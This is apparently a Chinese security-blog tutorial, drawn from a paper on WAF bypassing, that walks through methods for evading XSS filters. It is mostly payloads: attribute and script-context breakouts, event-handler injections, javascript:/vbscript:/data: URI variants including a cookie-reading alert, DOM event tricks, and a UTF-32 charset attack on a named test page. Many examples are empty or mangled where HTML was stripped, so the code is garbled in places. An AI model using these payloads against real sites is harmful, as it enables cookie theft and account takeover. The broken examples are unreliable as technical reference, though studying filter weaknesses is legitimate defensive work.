0506-Bypass xss过滤的测试方法

# Bypass xss过滤的测试方法

0x00 背景
——-

* * *

本文来自于《Modern Web Application Firewalls Fingerprinting and Bypassing XSS Filters》其中的bypass xss过滤的部分,前面有根据WAF特征确定是哪个WAF的测试方法给略过了,重点来看一下后面绕xss的一些基本的测试流程,虽说是绕WAF的,但这里还是根据WAF中的正则缺陷来绕过测试方法,并不是协议上问题,所以呢,基本可以通用于其他xss过滤的场景。方便新手们比较快速的了解到测试xss的一些基本的方法。

0x01 Bypassing黑名单
—————–

* * *

大多数的场所是用的黑名单来做过滤器的,有三种方式绕过黑名单的测试:

“`
1、暴力测试(输入大量的payload,看返回结果)
2、根据正则推算
3、利用浏览器bug

“`

### 初步测试

1)尝试插入比较正常的HTML标签,例如:``来看一下返回页面的情况是怎样的,是否被HTML编码了,或者标签被过滤了。

2)尝试插入不闭合的标签,例如:`alert(1);


“`

看返回响应,是过滤的全部,还是只过滤了部分,是否还留下了`alert,prompt,confirm`字符,再尝试大小写的组合:

“`

“`

4)如果过滤器仅仅是把``标签过滤掉,那么可以用

“`
ipt>alert(1)ipt>

“`

的方式来绕过,这样当` // 通杀所有浏览器

```

opera中可以不闭合

```

```

### 实体编码

很多情况下WAF会实体编码用户的输入数据,

javascript是一个很灵活的语言,可以使用很多编码,比如十六进制,Unicode和HTML。但是也对这些编码可以用在哪个位置有规定:

属性:

``` href= action= formaction= location= on*= name= background= poster= src= code=

```

支持的编码方式:HTML,八进制,十进制,十六进制和Unicode

属性:

``` data=

```

支持的编码:base64

### 基于上下文的过滤

WAF最大的问题,在于不知道输出的位置的上下文,导致根据具体环境可以绕过。

#### 输入在属性里

```

```

可控位置为XSStest,可以使用

``` ">

```

如果`< >`被过滤的话可以换成

``` " autofocus onfocus=alert(1)//

```

同样还有很多其他的payload:

``` "onmouseover=" prompt(0)x=" "onfocusin=alert(1) autofocusx=" " onfocusout=alert(1) autofocus x=" "onblur=alert(1) autofocusa="

```

#### 输入在script标签中

例如:

```

```

可控位置在Input,可以闭合script标签插入代码,但是同样我们仅仅闭合双引号就可以执行js代码了

``` ";alert(1)//

```

最终结果就是

```

```

#### 非常规的事件监听

例如:

``` ";document.body.addEventListener("DOMActivate",alert(1))// ";document.body.addEventListener("DOMActivate",prompt(1))// ";document.body.addEventListener("DOMActivate",confirm(1))//

```

下面是一些相同的类:

``` DOMAttrModified DOMCharacterDataModified DOMFocusIn DOMFocusOut DOMMouseScroll DOMNodeInserted DOMNodeInsertedIntoDocument DOMNodeRemoved DOMNodeRemovedFromDocument DOMSubtreeModified

```

#### HREF内容可控

例如:

``` Click

```

可控的是Userinput那里我们需要做的只是把javascript代码输入就好了:

``` javascript:alert(1)//

```

最后组合为:

``` Click

```

#### 变换

使用HTML实体URL编码绕过黑名单,href里会自动实体解码,如果都失败了,可以尝试使用vbscript在IE10以下都有效,或者使用data协议。

#### JavaScript变换

使用javascript协议时可使用的例子:

``` javascript:alert(1) javaSCRIPT:alert(1) JaVaScRipT:alert(1) javas cript:\u0061lert(1); javascript:\u0061lert(1) javascript:alert(document.cookie)

```

#### Vbscript变换

``` vbscript:alert(1); vbscript:alert(1); vbscr ipt:alert(1)" Data URl data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==

```

#### JSON

当你的输入会在encodeURIComponent当中显示出来的时候,很容易插入xss代码了

``` encodeURIComponent('userinput')

```

userinput处可控,测试代码:

``` -alert(1)- -prompt(1)- -confirm(1)-

```

最终结果:

``` encodeURIComponent("-alert(1)-") encodeURIComponent("-prompt(1)-")

```

#### SVG标签

当返回结果在svg标签中的时候,会有一个特性

```

```

YourInput可控,输入

```
www.site.com/test.php?var=text";alert(1)//

```

如果把"编码一些他仍然能够执行:

```

```

### 浏览器bug

字符集的bug在IE中出现过很多次,第一个就是UTF-7,但是这个只在之前的版本中可用,现在讨论一个在现在的浏览器当中可以执行的javascript。

```
http://xsst.sinaapp.com/utf-32-1.php?charset=utf-8&v=XSS

```

这个页面当中我们可控当前页面的字符集,当我们常规的测试时:

```
http://xsst.sinaapp.com/utf-32-1.php?charset=utf-8&v=">

```

返回结果可以看到双引号被编码了:

```





```

设置字符集为UTF-32:

```
http://xsst.sinaapp.com/utf-32-1.php?charset=utf-32&v=%E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80

```

上面这个在IE9及以下版本可以执行成功。

利用0字节绕过:

```
alert(1);
alert(1);
confirm(0);

```

在IE9及以下版本有效。

其他等等一系列浏览器特性的XSS可以参考以下文章:

[http://drops.wooyun.org/tips/147](http://drops.wooyun.org/tips/147)

0x02 总结
-------

* * *

本文主要是一个测试XSS的思路流程,并没有把所有的payload写全,其实也没有人能够写全,只是列了一个大体的框架,大家实际在寻找的过程中可以不断慢慢的根据这种思路补充自己的payload,想必呢,一定会有很大的进步的!~

© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容